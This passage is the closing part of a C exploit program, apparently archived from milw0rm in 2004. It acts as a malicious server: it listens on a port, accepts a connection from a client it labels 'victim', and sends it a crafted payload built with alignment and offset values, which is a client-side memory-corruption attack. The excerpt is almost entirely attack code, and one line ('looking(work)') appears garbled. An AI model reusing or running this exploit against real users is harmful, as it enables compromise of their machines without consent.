if(listen(sock_fd, 0) == -1) {
die("Could not listen on socket");
}
printf(" -> Listening for a connection on port %d\n", port);
cl_buf = sizeof(victim);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victim, &cl_buf);
fprintf(stderr, " -> Action: Attaching from host[%s]\n", inet_ntoa(victim.sin_addr));
if(pkg_prep(clisock_fd, align, offset) == 1) {
fprintf(stderr, "Could not prep package\n");
_exit(1);
}
if(pkg_send(clisock_fd, payload) == 1) {
fprintf(stderr, "Could not send package\n");
_exit(1);
}
sleep(2);
fprintf(stderr, " -> Test complete\n\n");
close(clisock_fd); looking(work);
return SUCCESS;
}
// milw0rm.com [2004-07-04]